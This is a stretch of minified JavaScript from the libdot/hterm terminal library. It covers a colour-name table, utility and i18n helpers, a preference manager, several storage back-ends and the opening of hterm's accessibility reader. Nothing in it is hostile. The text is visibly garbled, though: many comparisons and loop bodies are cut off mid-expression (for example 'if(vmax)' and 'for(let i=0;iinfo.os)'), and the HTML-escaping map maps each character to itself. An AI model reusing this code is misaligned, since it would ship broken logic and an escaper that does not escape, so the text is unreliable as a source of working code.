250)",mistyrose:"rgb(255, 228, 225)",mistyrose1:"rgb(255, 228, 225)",mistyrose2:"rgb(238, 213, 210)",mistyrose3:"rgb(205, 183, 181)",mistyrose4:"rgb(139, 125, 123)",moccasin:"rgb(255, 228, 181)",navajowhite:"rgb(255, 222, 173)",navajowhite1:"rgb(255, 222, 173)",navajowhite2:"rgb(238, 207, 161)",navajowhite3:"rgb(205, 179, 139)",navajowhite4:"rgb(139, 121, 94)",navy:"rgb(0, 0, 128)",navyblue:"rgb(0, 0, 128)",oldlace:"rgb(253, 245, 230)",olivedrab:"rgb(107, 142, 35)",olivedrab1:"rgb(192, 255, 62)",olivedrab2:"rgb(179, 238, 58)",olivedrab3:"rgb(154, 205, 50)",olivedrab4:"rgb(105, 139, 34)",orange:"rgb(255, 165, 0)",orange1:"rgb(255, 165, 0)",orange2:"rgb(238, 154, 0)",orange3:"rgb(205, 133, 0)",orange4:"rgb(139, 90, 0)",orangered:"rgb(255, 69, 0)",orangered1:"rgb(255, 69, 0)",orangered2:"rgb(238, 64, 0)",orangered3:"rgb(205, 55, 0)",orangered4:"rgb(139, 37, 0)",orchid:"rgb(218, 112, 214)",orchid1:"rgb(255, 131, 250)",orchid2:"rgb(238, 122, 233)",orchid3:"rgb(205, 105, 201)",orchid4:"rgb(139, 71, 137)",palegoldenrod:"rgb(238, 232, 170)",palegreen:"rgb(152, 251, 152)",palegreen1:"rgb(154, 255, 154)",palegreen2:"rgb(144, 238, 144)",palegreen3:"rgb(124, 205, 124)",palegreen4:"rgb(84, 139, 84)",paleturquoise:"rgb(175, 238, 238)",paleturquoise1:"rgb(187, 255, 255)",paleturquoise2:"rgb(174, 238, 238)",paleturquoise3:"rgb(150, 205, 205)",paleturquoise4:"rgb(102, 139, 139)",palevioletred:"rgb(219, 112, 147)",palevioletred1:"rgb(255, 130, 171)",palevioletred2:"rgb(238, 121, 159)",palevioletred3:"rgb(205, 104, 137)",palevioletred4:"rgb(139, 71, 93)",papayawhip:"rgb(255, 239, 213)",peachpuff:"rgb(255, 218, 185)",peachpuff1:"rgb(255, 218, 185)",peachpuff2:"rgb(238, 203, 173)",peachpuff3:"rgb(205, 175, 149)",peachpuff4:"rgb(139, 119, 101)",peru:"rgb(205, 133, 63)",pink:"rgb(255, 192, 203)",pink1:"rgb(255, 181, 197)",pink2:"rgb(238, 169, 184)",pink3:"rgb(205, 145, 158)",pink4:"rgb(139, 99, 108)",plum:"rgb(221, 160, 221)",plum1:"rgb(255, 187, 255)",plum2:"rgb(238, 174, 238)",plum3:"rgb(205, 150, 205)",plum4:"rgb(139, 102, 139)",powderblue:"rgb(176, 224, 230)",purple:"rgb(160, 32, 240)",purple1:"rgb(155, 48, 255)",purple2:"rgb(145, 44, 238)",purple3:"rgb(125, 38, 205)",purple4:"rgb(85, 26, 139)",red:"rgb(255, 0, 0)",red1:"rgb(255, 0, 0)",red2:"rgb(238, 0, 0)",red3:"rgb(205, 0, 0)",red4:"rgb(139, 0, 0)",rosybrown:"rgb(188, 143, 143)",rosybrown1:"rgb(255, 193, 193)",rosybrown2:"rgb(238, 180, 180)",rosybrown3:"rgb(205, 155, 155)",rosybrown4:"rgb(139, 105, 105)",royalblue:"rgb(65, 105, 225)",royalblue1:"rgb(72, 118, 255)",royalblue2:"rgb(67, 110, 238)",royalblue3:"rgb(58, 95, 205)",royalblue4:"rgb(39, 64, 139)",saddlebrown:"rgb(139, 69, 19)",salmon:"rgb(250, 128, 114)",salmon1:"rgb(255, 140, 105)",salmon2:"rgb(238, 130, 98)",salmon3:"rgb(205, 112, 84)",salmon4:"rgb(139, 76, 57)",sandybrown:"rgb(244, 164, 96)",seagreen:"rgb(46, 139, 87)",seagreen1:"rgb(84, 255, 159)",seagreen2:"rgb(78, 238, 148)",seagreen3:"rgb(67, 205, 128)",seagreen4:"rgb(46, 139, 87)",seashell:"rgb(255, 245, 238)",seashell1:"rgb(255, 245, 238)",seashell2:"rgb(238, 229, 222)",seashell3:"rgb(205, 197, 191)",seashell4:"rgb(139, 134, 130)",sienna:"rgb(160, 82, 45)",sienna1:"rgb(255, 130, 71)",sienna2:"rgb(238, 121, 66)",sienna3:"rgb(205, 104, 57)",sienna4:"rgb(139, 71, 38)",skyblue:"rgb(135, 206, 235)",skyblue1:"rgb(135, 206, 255)",skyblue2:"rgb(126, 192, 238)",skyblue3:"rgb(108, 166, 205)",skyblue4:"rgb(74, 112, 139)",slateblue:"rgb(106, 90, 205)",slateblue1:"rgb(131, 111, 255)",slateblue2:"rgb(122, 103, 238)",slateblue3:"rgb(105, 89, 205)",slateblue4:"rgb(71, 60, 139)",slategray:"rgb(112, 128, 144)",slategray1:"rgb(198, 226, 255)",slategray2:"rgb(185, 211, 238)",slategray3:"rgb(159, 182, 205)",slategray4:"rgb(108, 123, 139)",slategrey:"rgb(112, 128, 144)",snow:"rgb(255, 250, 250)",snow1:"rgb(255, 250, 250)",snow2:"rgb(238, 233, 233)",snow3:"rgb(205, 201, 201)",snow4:"rgb(139, 137, 137)",springgreen:"rgb(0, 255, 127)",springgreen1:"rgb(0, 255, 127)",springgreen2:"rgb(0, 238, 118)",springgreen3:"rgb(0, 205, 102)",springgreen4:"rgb(0, 139, 69)",steelblue:"rgb(70, 130, 180)",steelblue1:"rgb(99, 184, 255)",steelblue2:"rgb(92, 172, 238)",steelblue3:"rgb(79, 148, 205)",steelblue4:"rgb(54, 100, 139)",tan:"rgb(210, 180, 140)",tan1:"rgb(255, 165, 79)",tan2:"rgb(238, 154, 73)",tan3:"rgb(205, 133, 63)",tan4:"rgb(139, 90, 43)",thistle:"rgb(216, 191, 216)",thistle1:"rgb(255, 225, 255)",thistle2:"rgb(238, 210, 238)",thistle3:"rgb(205, 181, 205)",thistle4:"rgb(139, 123, 139)",tomato:"rgb(255, 99, 71)",tomato1:"rgb(255, 99, 71)",tomato2:"rgb(238, 92, 66)",tomato3:"rgb(205, 79, 57)",tomato4:"rgb(139, 54, 38)",turquoise:"rgb(64, 224, 208)",turquoise1:"rgb(0, 245, 255)",turquoise2:"rgb(0, 229, 238)",turquoise3:"rgb(0, 197, 205)",turquoise4:"rgb(0, 134, 139)",violet:"rgb(238, 130, 238)",violetred:"rgb(208, 32, 144)",violetred1:"rgb(255, 62, 150)",violetred2:"rgb(238, 58, 140)",violetred3:"rgb(205, 50, 120)",violetred4:"rgb(139, 34, 82)",wheat:"rgb(245, 222, 179)",wheat1:"rgb(255, 231, 186)",wheat2:"rgb(238, 216, 174)",wheat3:"rgb(205, 186, 150)",wheat4:"rgb(139, 126, 102)",white:"rgb(255, 255, 255)",whitesmoke:"rgb(245, 245, 245)",yellow:"rgb(255, 255, 0)",yellow1:"rgb(255, 255, 0)",yellow2:"rgb(238, 238, 0)",yellow3:"rgb(205, 205, 0)",yellow4:"rgb(139, 139, 0)",yellowgreen:"rgb(154, 205, 50)"};lib.Event=function(){const ep=function(...args){ep.observers.forEach(callback=>callback.apply(null,args))};ep.addListener=function(callback){ep.observers.push(callback)};ep.removeListener=function(callback){ep.observers=ep.observers.filter(cb=>cb!==callback)};ep.observers=[];return ep};lib.f={};lib.f.replaceVars=function(str,vars){return str.replace(/%([a-z]*)\(([^)]+)\)/gi,function(match,fn,varname){if(typeof vars[varname]=="undefined"){throw new Error(`Unknown variable: ${varname}`)}let rv=vars[varname];if(fn in lib.f.replaceVars.functions){rv=lib.f.replaceVars.functions[fn](rv)}else if(fn){throw new Error(`Unknown escape function: ${fn}`)}return rv})};lib.f.replaceVars.functions={encodeURI:encodeURI,encodeURIComponent:encodeURIComponent,escapeHTML:function(str){const map={"<":"<",">":">","&":"&",'"':""","'":"'"};return str.replace(/[<>&"']/g,m=>map[m])}};lib.f.getURL=function(path){if(lib.f.getURL.chromeSupported()){return chrome.runtime.getURL(path)}if(path.startsWith("/")){return globalThis.location.origin+path}return path};lib.f.getURL.chromeSupported=function(){return!!globalThis.chrome?.runtime?.getURL};lib.f.clamp=function(v,min,max){if(vmax){return max}return v};lib.f.zpad=function(number,length){return String(number).padStart(length,"0")};lib.f.longestCommonPrefix=function(elements,start=0){if(elements.length===0){return start}while(true){const c=elements[0][start];if(c===undefined){break}if(!elements.slice(1).every(ele=>ele[start]===c)){break}++start}return start};lib.f.getStack=function(ignoreFrames=0,count=undefined){const stackArray=(new Error).stack.split("\n");ignoreFrames+=2;const max=stackArray.length-ignoreFrames;if(count===undefined){count=max}else{count=lib.f.clamp(count,0,max)}const stackObject=new Array;for(let i=ignoreFrames;iinfo.os)}if(globalThis.chrome?.runtime?.getPlatformInfo){return new Promise((resolve,reject)=>{return chrome.runtime.getPlatformInfo(info=>resolve(info.os))})}if(globalThis.navigator?.userAgent){const ua=navigator.userAgent;if(ua.includes("Mac OS X")){return Promise.resolve("mac")}else if(ua.includes("CrOS")){return Promise.resolve("cros")}else if(ua.includes("Linux")){return Promise.resolve("linux")}else if(ua.includes("Android")){return Promise.resolve("android")}else if(ua.includes("Windows")){return Promise.resolve("windows")}}if(typeof process!="undefined"){return Promise.resolve("node")}return Promise.reject(null)};lib.f.getChromeMilestone=function(){if(globalThis.navigator?.userAgent){const ary=navigator.userAgent.match(/\sChrome\/(\d+)/);if(ary){return parseInt(ary[1],10)}}return NaN};lib.f.lastError=function(defaultMsg=null){let lastError;if(globalThis.browser?.runtime){lastError=browser.runtime.lastError}else if(globalThis.chrome?.runtime){lastError=chrome.runtime.lastError}if(lastError&&lastError.message){return lastError.message}else{return defaultMsg}};lib.f.openWindow=function(url,name=undefined,features=undefined){if(globalThis.open===undefined){if(name==="_blank"){chrome.tabs.create({url:url})}else{let type=chrome.windows.CreateType.NORMAL;if(features!==undefined&&features.includes("chrome=no")){type=chrome.windows.CreateType.POPUP}chrome.windows.create({focused:true,type:type,url:url})}return undefined}const win=globalThis.open(undefined,name,features);if(win!==null){win.opener=null;if(url){win.location=url}}return win};lib.i18n={};lib.i18n.browser_=globalThis.browser?.i18n?browser.i18n:globalThis.chrome?.i18n?chrome.i18n:null;lib.i18n.browserSupported=function(){return lib.i18n.browser_!==null};lib.i18n.getAcceptLanguages=function(){if(lib.i18n.browser_){return new Promise(resolve=>{lib.i18n.browser_.getAcceptLanguages(languages=>{if(!languages){console.error("getAcceptLanguages failed",lib.f.lastError());languages=["en"]}resolve(languages)})})}else{const languages=navigator.languages||[navigator.language];return Promise.resolve(languages)}};lib.i18n.getMessage=function(msgname,substitutions=[],fallback=""){if(lib.i18n.browser_){const message=lib.i18n.browser_.getMessage(msgname,substitutions);if(message){return message}}return lib.i18n.replaceReferences(fallback,substitutions)};lib.i18n.replaceReferences=function(msg,args=[]){if(args===null){args=[]}if(!(args instanceof Array)){args=[args]}return msg.replace(/\$(\d+)/g,(m,index)=>{return index<=args.length?args[index-1]:""})};lib.i18n.resolveLanguage=function(language){const[lang,region]=language.toLowerCase().split(/[-_]/,2);if(lang=="es"){if([undefined,"es"].includes(region)){return["es"]}return["es_419"]}if(lang=="pt"){if([undefined,"br"].includes(region)){return["pt_BR"]}return["pt_PT"]}if(lang=="zh"){if(["tw","hk","mo"].includes(region)){return["zh_TW"]}return["zh_CN"]}if(lang=="en"){if([undefined,"us","lr","ph"].includes(region)){return["en"]}return["en_GB","en"]}if(region){return[language.replace(/-/g,"_"),lang]}else{return[lang]}};lib.MessageManager=function(languages,useCrlf=false){this.languages_=[];let stop=false;for(let i=0;i=0;i--){const lang=this.languages_[i];const url=lib.i18n.replaceReferences(pattern,lang);try{await this.loadMessages(url)}catch(e){console.warn(`Error fetching ${lang} messages at ${url}`,e,"Trying all languages in reverse order:",this.languages_)}}};lib.MessageManager.prototype.loadMessages=function(url){return new Promise((resolve,reject)=>{const xhr=new XMLHttpRequest;xhr.onload=()=>{try{this.addMessages(JSON.parse(xhr.responseText));resolve()}catch(e){reject(e)}};xhr.onerror=()=>reject(xhr);xhr.open("GET",url);xhr.send()})};lib.MessageManager.prototype.get=function(msgname,args,fallback){let message=lib.i18n.getMessage(msgname,args);if(!message){message=this.messages_[msgname];if(!message){console.warn("Unknown message: "+msgname);message=fallback===undefined?msgname:fallback;this.messages_[msgname]=message}message=lib.i18n.replaceReferences(message,args)}if(this.useCrlf){message=message.replace(/\n/g,"\r\n")}return message};lib.MessageManager.prototype.processI18nAttributes=function(node){const nodes=node.querySelectorAll("[i18n]");for(let i=0;istr.replace(/-/g,"_").toUpperCase();let i18n=node.getAttribute("i18n");if(!i18n){return}try{i18n=JSON.parse(i18n)}catch(ex){console.error("Can't parse "+node.tagName+"#"+node.id+": "+i18n);throw ex}for(let key in i18n){const attr=key;let msgname=i18n[key];if(msgname.startsWith("=")){key=msgname.substr(1);msgname=i18n[key]}if(msgname.startsWith("$")){msgname=thunk(node.getAttribute(msgname.substr(1))+"_"+key)}const msg=this.get(msgname);if(attr=="_"){node.textContent=msg}else{node.setAttribute(attr,msg)}}};lib.PreferenceManager=function(storage,prefix="/"){this.storage=storage;this.storageObserver_=this.onStorageChange_.bind(this);this.storage.addObserver(this.storageObserver_);this.trace=false;if(!prefix.endsWith("/")){prefix+="/"}this.prefix=prefix;this.isImportingJson_=false;this.prefRecords_={};this.globalObservers_=[];this.prefixObservers_=[];this.childFactories_={};this.childLists_={}};lib.PreferenceManager.prototype.DEFAULT_VALUE=Symbol("DEFAULT_VALUE");lib.PreferenceManager.Record=function(name,defaultValue){this.name=name;this.defaultValue=defaultValue;this.currentValue=this.DEFAULT_VALUE;this.observers=[]};lib.PreferenceManager.Record.prototype.DEFAULT_VALUE=lib.PreferenceManager.prototype.DEFAULT_VALUE;lib.PreferenceManager.Record.prototype.addObserver=function(observer){this.observers.push(observer)};lib.PreferenceManager.Record.prototype.removeObserver=function(observer){const i=this.observers.indexOf(observer);if(i>=0){this.observers.splice(i,1)}};lib.PreferenceManager.Record.prototype.get=function(){const result=this.currentValue===this.DEFAULT_VALUE?this.defaultValue:this.currentValue;if(typeof this.defaultValue==="object"){return JSON.parse(JSON.stringify(result))}return result};lib.PreferenceManager.prototype.setPrefix=function(prefix,callback){if(!prefix.endsWith("/")){prefix+="/"}if(prefix===this.prefix){if(callback){callback()}return}this.prefix=prefix;for(const name in this.prefRecords_){this.prefRecords_[name].currentValue=this.DEFAULT_VALUE}this.readStorage(()=>{for(const o of this.prefixObservers_){o(this.prefix,this)}this.notifyAll();if(callback){callback()}})};lib.PreferenceManager.prototype.readStorage=function(callback=undefined){let pendingChildren=0;function onChildComplete(){if(--pendingChildren==0&&callback){callback()}}const keys=Object.keys(this.prefRecords_).map(el=>this.prefix+el);if(this.trace){console.log("Preferences read: "+this.prefix)}this.storage.getItems(keys).then(items=>{const prefixLength=this.prefix.length;for(const key in items){const value=items[key];const name=key.substr(prefixLength);const needSync=name in this.childLists_&&JSON.stringify(value)!=JSON.stringify(this.prefRecords_[name].currentValue);this.prefRecords_[name].currentValue=value;if(needSync){pendingChildren++;this.syncChildList(name,onChildComplete)}}if(pendingChildren==0&&callback){setTimeout(callback)}})};lib.PreferenceManager.prototype.definePreference=function(name,value,onChange=undefined){let record=this.prefRecords_[name];if(record){this.changeDefault(name,value)}else{record=this.prefRecords_[name]=new lib.PreferenceManager.Record(name,value)}if(onChange){record.addObserver(onChange)}};lib.PreferenceManager.prototype.definePreferences=function(defaults){for(let i=0;i=0){this.prefixObservers_.splice(i,1)}};lib.PreferenceManager.prototype.addObserver=function(name,observer){if(!(name in this.prefRecords_)){throw new Error(`Unknown preference: ${name}`)}this.prefRecords_[name].addObserver(observer)};lib.PreferenceManager.prototype.addObservers=function(global,map){if(global&&typeof global!="function"){throw new Error("Invalid param: globals")}if(global){this.globalObservers_.push(global)}if(!map){return}for(const name in map){this.addObserver(name,map[name])}};lib.PreferenceManager.prototype.removeObserver=function(name,observer){if(!(name in this.prefRecords_)){throw new Error(`Unknown preference: ${name}`)}this.prefRecords_[name].removeObserver(observer)};lib.PreferenceManager.prototype.notifyAll=function(){for(const name in this.prefRecords_){this.notifyChange_(name)}};lib.PreferenceManager.prototype.notifyChange_=function(name){const record=this.prefRecords_[name];if(!record){throw new Error("Unknown preference: "+name)}const currentValue=record.get();for(let i=0;i=0){oldIds.splice(managerIndex,1)}if(!this.childLists_[listName][id]){const childManager=this.childFactories_[listName](this,id);if(!childManager){console.warn("Unable to restore child: "+listName+": "+id);continue}childManager.trace=this.trace;this.childLists_[listName][id]=childManager;pendingChildren++;childManager.readStorage(onChildStorage)}}for(let i=0;i{this.notifyChange_(name)})};lib.PreferenceManager.prototype.get=function(name){const record=this.prefRecords_[name];if(!record){throw new Error("Unknown preference: "+name)}return record.get()};lib.PreferenceManager.prototype.getDefault=function(name){const record=this.prefRecords_[name];if(!record){throw new Error(`Unknown preference: ${name}`)}return record.defaultValue};lib.PreferenceManager.prototype.getBoolean=function(name){const result=this.get(name);lib.assert(typeof result=="boolean");return result};lib.PreferenceManager.prototype.getNumber=function(name){const result=this.get(name);lib.assert(typeof result=="number");return result};lib.PreferenceManager.prototype.getString=function(name){const result=this.get(name);lib.assert(typeof result=="string");return result};lib.PreferenceManager.prototype.exportAsJson=function(){const rv={};for(const name in this.prefRecords_){if(name in this.childLists_){rv[name]=[];const childIds=this.get(name);for(let i=0;io(changes))};lib.Storage.Chrome.prototype.addObserver=function(callback){this.observers_.push(callback)};lib.Storage.Chrome.prototype.removeObserver=function(callback){const i=this.observers_.indexOf(callback);if(i!=-1){this.observers_.splice(i,1)}};lib.Storage.Chrome.prototype.clear=async function(){return new Promise(resolve=>{this.storage_.clear(resolve)})};lib.Storage.Chrome.prototype.getItem=async function(key){return this.getItems([key]).then(items=>items[key])};lib.Storage.Chrome.prototype.getItems=async function(keys){return new Promise(resolve=>{this.storage_.get(keys,resolve)})};lib.Storage.Chrome.prototype.setItem=async function(key,value){return new Promise(resolve=>{const onComplete=()=>{const err=lib.f.lastError();if(err){if(err.indexOf("MAX_WRITE_OPERATIONS")){console.warn(`Will retry '${key}' save after exceeding quota:`,err);setTimeout(()=>this.setItem(key,value).then(onComplete),1e3);return}else{console.error(`Unknown runtime error: ${err}`)}}resolve()};this.setItems({[key]:value}).then(onComplete)})};lib.Storage.Chrome.prototype.setItems=async function(obj){return new Promise(resolve=>{this.storage_.set(obj,resolve)})};lib.Storage.Chrome.prototype.removeItem=async function(key){return this.removeItems([key])};lib.Storage.Chrome.prototype.removeItems=async function(keys){return new Promise(resolve=>{this.storage_.remove(keys,resolve)})};lib.Storage.Local=function(storage=undefined){this.observers_=[];this.storage_=storage?storage:lib.notNull(globalThis.localStorage);globalThis.addEventListener("storage",this.onStorage_.bind(this))};lib.Storage.Local.prototype.parseJson_=function(jsonString){if(jsonString!==null){try{return JSON.parse(jsonString)}catch(e){}}return jsonString};lib.Storage.Local.prototype.onStorage_=function(e){if(e.storageArea!=this.storage_){return}const o={};o[e.key]={oldValue:this.parseJson_(e.oldValue),newValue:this.parseJson_(e.newValue)};for(let i=0;iitems[key])};lib.Storage.Local.prototype.getItems=async function(keys){const rv={};if(!keys){keys=[];for(let i=0;io(changes))}};lib.Storage.Memory.prototype.clear=async function(){return this.update_({})};lib.Storage.Memory.prototype.getItem=async function(key){return this.getItems([key]).then(items=>items[key])};lib.Storage.Memory.prototype.getItems=async function(keys){const rv={};if(!keys){keys=Object.keys(this.storage_)}keys.forEach(key=>{if(this.storage_.hasOwnProperty(key)){rv[key]=this.storage_[key]}});await 0;return rv};lib.Storage.Memory.prototype.setItem=async function(key,value){return this.setItems({[key]:value})};lib.Storage.Memory.prototype.setItems=async function(obj){const newStorage=Object.assign({},this.storage_);for(const key in obj){newStorage[key]=JSON.parse(JSON.stringify(obj[key]))}return this.update_(newStorage)};lib.Storage.Memory.prototype.removeItem=async function(key){return this.removeItems([key])};lib.Storage.Memory.prototype.removeItems=async function(keys){const newStorage=Object.assign({},this.storage_);keys.forEach(key=>delete newStorage[key]);return this.update_(newStorage)};lib.Storage.TerminalPrivate=function(prefPath="crostini.terminal_settings",storage=chrome.terminalPrivate){this.prefPath_=lib.notUndefined(prefPath);this.observers_=[];this.prefValue_={};this.prefValueWriteToResolve_=[];this.prefsLoaded_=false;this.storage_=storage;this.storage_.onPrefChanged.addListener(this.onPrefChanged_.bind(this))};lib.Storage.TerminalPrivate.prototype.initCache_=function(){return new Promise(resolve=>{if(this.prefsLoaded_){resolve();return}this.storage_.getPrefs([this.prefPath_],prefs=>{const err=lib.f.lastError();if(err){console.error(err)}else{this.prefValue_=lib.notNull(prefs[this.prefPath_])}this.prefsLoaded_=true;resolve()})})};lib.Storage.TerminalPrivate.prototype.onPrefChanged_=function(prefs){const pref=prefs[this.prefPath_];if(!pref||typeof pref!=="object"){return}const changes=lib.Storage.generateStorageChanges(this.prefValue_,pref);this.prefValue_=pref;if(Object.keys(changes).length){setTimeout(()=>{this.observers_.forEach(o=>o(changes))})}};lib.Storage.TerminalPrivate.prototype.setPref_=function(){lib.assert(this.prefsLoaded_);return new Promise(resolve=>{this.prefValueWriteToResolve_.push(resolve);if(this.prefValueWriteToResolve_.length>1){return}setTimeout(()=>{this.storage_.setPrefs({[this.prefPath_]:this.prefValue_},()=>{const err=lib.f.lastError();if(err){console.error(err)}this.prefValueWriteToResolve_.forEach(r=>r());this.prefValueWriteToResolve_=[]})})})};lib.Storage.TerminalPrivate.prototype.addObserver=function(callback){this.observers_.push(callback)};lib.Storage.TerminalPrivate.prototype.removeObserver=function(callback){const i=this.observers_.indexOf(callback);if(i!==-1){this.observers_.splice(i,1)}};lib.Storage.TerminalPrivate.prototype.update_=async function(newStorage){const changes=lib.Storage.generateStorageChanges(this.prefValue_,newStorage);this.prefValue_=newStorage;await this.setPref_();if(Object.keys(changes).length){this.observers_.forEach(o=>o(changes))}};lib.Storage.TerminalPrivate.prototype.clear=async function(){await this.initCache_();return this.update_({})};lib.Storage.TerminalPrivate.prototype.getItem=async function(key){await this.initCache_();return this.prefValue_[key]};lib.Storage.TerminalPrivate.prototype.getItems=async function(keys){await this.initCache_();const rv={};if(!keys){keys=Object.keys(this.prefValue_)}for(const key of keys){if(this.prefValue_.hasOwnProperty(key)){rv[key]=this.prefValue_[key]}}return rv};lib.Storage.TerminalPrivate.prototype.setItem=async function(key,value){return this.setItems({[key]:value})};lib.Storage.TerminalPrivate.prototype.setItems=async function(obj){await this.initCache_();return this.update_(Object.assign({},this.prefValue_,obj))};lib.Storage.TerminalPrivate.prototype.removeItem=async function(key){return this.removeItems([key])};lib.Storage.TerminalPrivate.prototype.removeItems=async function(keys){await this.initCache_();const newStorage=Object.assign({},this.prefValue_);keys.forEach(key=>delete newStorage[key]);return this.update_(newStorage)};lib.resource.add("libdot/changelog/version","text/plain","9.0.0");lib.resource.add("libdot/changelog/date","text/plain","2022-02-24");const hterm={};hterm.windowType=null;hterm.initWindowType_=async function(){if(globalThis.chrome?.tabs?.getCurrent){const tab=await new Promise(resolve=>{chrome.tabs.getCurrent(resolve)});if(tab&&globalThis.chrome?.windows?.get){const win=await new Promise(resolve=>{chrome.windows.get(tab.windowId,null,resolve)});hterm.windowType=win.type}else{hterm.windowType="normal"}}else{hterm.windowType="normal"}};hterm.os=null;hterm.initOs_=function(){const initOs=os=>{hterm.os=os};return lib.f.getOs().then(initOs).catch(initOs)};hterm.desktopNotificationTitle="♪ %(title) ♪";hterm.messageManager=null;hterm.init_=async function(){await hterm.initWindowType_();await hterm.initOs_();return lib.i18n.getAcceptLanguages().then(languages=>{if(!hterm.messageManager){hterm.messageManager=new lib.MessageManager(languages)}})};hterm.initPromise=hterm.init_();hterm.sanitizeHtml=function(html){if(globalThis.trustedTypes?.createPolicy){if(!hterm.sanitizeHtml.policy){hterm.sanitizeHtml.policy=trustedTypes.createPolicy("default",{createHTML:source=>source})}return hterm.sanitizeHtml.policy.createHTML(html)}return html};hterm.copySelectionToClipboard=function(document,str){const requestPermission=()=>{if(navigator.permissions&&navigator.permissions.query){return navigator.permissions.query({name:"clipboard-write"}).then(status=>{const checkState=(resolve,reject)=>{switch(status.state){case"granted":return resolve();case"denied":return reject();default:return new Promise((resolve,reject)=>{status.onchange=()=>checkState(resolve,reject)})}};return new Promise(checkState)}).catch(()=>Promise.resolve())}else{return Promise.resolve()}};const writeClipboard=()=>{if(navigator.clipboard&&navigator.clipboard.writeText){return navigator.clipboard.writeText(str).catch(execCommand)}else{return execCommand()}};const execCommand=()=>{const copySource=document.createElement("pre");copySource.id="hterm:copy-to-clipboard-source";copySource.textContent=str;copySource.style.cssText="user-select: text;"+"position: absolute;"+"top: -99px";document.body.appendChild(copySource);const selection=document.getSelection();const anchorNode=selection.anchorNode;const anchorOffset=selection.anchorOffset;const focusNode=selection.focusNode;const focusOffset=selection.focusOffset;try{selection.selectAllChildren(copySource)}catch(ex){}try{document.execCommand("copy")}catch(firefoxException){}if(selection.extend){if(anchorNode){selection.collapse(anchorNode,anchorOffset)}if(focusNode){selection.extend(focusNode,focusOffset)}}copySource.remove();return Promise.resolve()};return requestPermission().then(writeClipboard)};hterm.msg=function(name,args=[],string=""){return hterm.messageManager.get("HTERM_"+name,args,string)};hterm.notify=function(params){const def=(curr,fallback)=>curr!==undefined?curr:fallback;if(params===undefined||params===null){params={}}const options={body:params.body,icon:def(params.icon,lib.resource.getDataUrl("hterm/images/icon-96"))};let title=def(params.title,globalThis.document.title);if(!title){title="hterm"}title=lib.f.replaceVars(hterm.desktopNotificationTitle,{title:title});const n=new Notification(title,options);n.onclick=function(){globalThis.focus();n.close()};return n};hterm.openUrl=function(url){if(globalThis.chrome?.browser?.openTab){chrome.browser.openTab({url:url})}else{const win=lib.f.openWindow(url,"_blank");if(win){win.focus()}}};hterm.Size=class{constructor(width,height){this.width=width;this.height=height}resize(width,height){this.width=width;this.height=height}clone(){return new this.constructor(this.width,this.height)}setTo(that){this.width=that.width;this.height=that.height}equals(that){return this.width==that.width&&this.height==that.height}toString(){return`[hterm.Size: ${this.width}, ${this.height}]`}};hterm.RowCol=class{constructor(row,column,overflow=false){this.row=row;this.column=column;this.overflow=!!overflow}move(row,column,overflow=false){this.row=row;this.column=column;this.overflow=!!overflow}clone(){return new this.constructor(this.row,this.column,this.overflow)}setTo(that){this.row=that.row;this.column=that.column;this.overflow=that.overflow}equals(that){return this.row==that.row&&this.column==that.column&&this.overflow==that.overflow}toString(){return`[hterm.RowCol: ${this.row}, ${this.column}, ${this.overflow}]`}};hterm.AccessibilityReader=function(div){this.document_=div.ownerDocument;const liveRegion=this.document_.createElement("div");liveRegion.id="hterm:accessibility-live-region";liveRegion.style.cssText=`position: absolute; + width: 0; height: 0; + overflow: hidden; + left: -1000px; top: -1000px;`;div.appendChild(liveRegion);this.accessibilityEnabled=false;this.liveElement_=this.document_.createElement("p");this.liveElement_.setAttribute("aria-live","polite");liveRegion.appendChild(this.liveElement_);this.assertiveLiveElement_=this.document_.createElement("p");this.assertiveLiveElement_.setAttribute("aria-live","assertive");liveRegion.appendChild(this.assertiveLiveElement_);this.queue_=[];this.nextReadTimer_=null;this.cursorIsChanging_=false;this.cursorChangeQueue_=[];this.lastCursorRowString_=null;this.lastCursorRow_=null;this.lastCursorColumn_=null;this.hasUserGesture=false};hterm.AccessibilityReader.DELAY=50;hterm.AccessibilityReader.prototype.setAccessibilityEnabled=function(enabled){if(!enabled){this.clear()}this.accessibilityEnabled=enabled};hterm.AccessibilityReader.prototype.decorate=function(doc){const handlers=["keydown","keypress","keyup","textInput"];handlers.forEach(handler=>{doc.addEventListener(handler,()=>{this.hasUserGesture=true})})};hterm.AccessibilityReader.prototype.beforeCursorChange=function(cursorRowString,cursorRow,cursorColumn){if(!this.accessibilityEnabled){return}if(!this.hasUserGesture||this.cursorIsChanging_){return}this.cursorIsChanging_=true;this.lastCursorRowString_=cursorRowString;this.lastCursorRow_=cursorRow;this.lastCursorColumn_=cursorColumn};hterm.AccessibilityReader.prototype.afterCursorChange=function(cursorRowString,cursorRow,cursorColumn){if(!this.cursorIsChanging_){return}this.cursorIsChanging_=false;if(!this.announceAction_(cursorRowString,cursorRow,cursorColumn)){for(let i=0;i0){this.queue_.push("");return}if(this.queue_.length==0){this.queue_.push(str)}else{let padding="";if(this.queue_[this.queue_.length-1].length!=0){padding=" "}this.queue_[this.queue_.length-1]+=padding+str}if(this.nextReadTimer_){return}if(this.queue_.length==1){this.nextReadTimer_=setTimeout(this.addToLiveRegion_.bind(this),hterm.AccessibilityReader.DELAY)}else{throw new Error("Expected only one item in queue_ or nextReadTimer_ to be running.")}};hterm.AccessibilityReader.prototype.assertiveAnnounce=function(str){if(this.hasUserGesture&&str==" "){str=hterm.msg("SPACE_CHARACTER",[],"Space")}str=str.trim();if(str==this.assertiveLiveElement_.innerText){str="\n"+str}this.clear();this.assertiveLiveElement_.innerText=str};hterm.AccessibilityReader.prototype.newLine=function(){this.announce("\n")};hterm.AccessibilityReader.prototype.clear=function(){this.liveElement_.innerText="";this.assertiveLiveElement_.innerText="";clearTimeout(this.nextReadTimer_);this.nextReadTimer_=null;this.queue_=[];this.cursorIsChanging_=false;this.cursorChangeQueue_=[];this.lastCursorRowString_=null;this.lastCursorRow_=null;this.lastCursorColumn_=null;this.hasUserGesture=false};hterm.AccessibilityReader.prototype.announceAction_=function(cursorRowString,cursorRow,cursorColumn){if(this.lastCursorRow_!=cursorRow){return false}if(lib.notNull(this.lastCursorRowString_)===cursorRowString){if(lib.notNull(this.lastCursorColumn_)!==cursorColumn&&this.cursorChangeQueue_.join("").trim()==""){const start=Math.min(this.lastCursorColumn_,cursorColumn);const len=Math.abs(cursorColumn-this.lastCursorColumn_);this.assertiveAnnounce(hterm.wc.substr(this.lastCursorRowString_,start,len));return true}return false}if(this.lastCursorRowString_!=cursorRowString){if(this.lastCursorColumn_+1==cursorColumn){if(hterm.wc.substr(cursorRowString,cursorColumn-1,1)==" 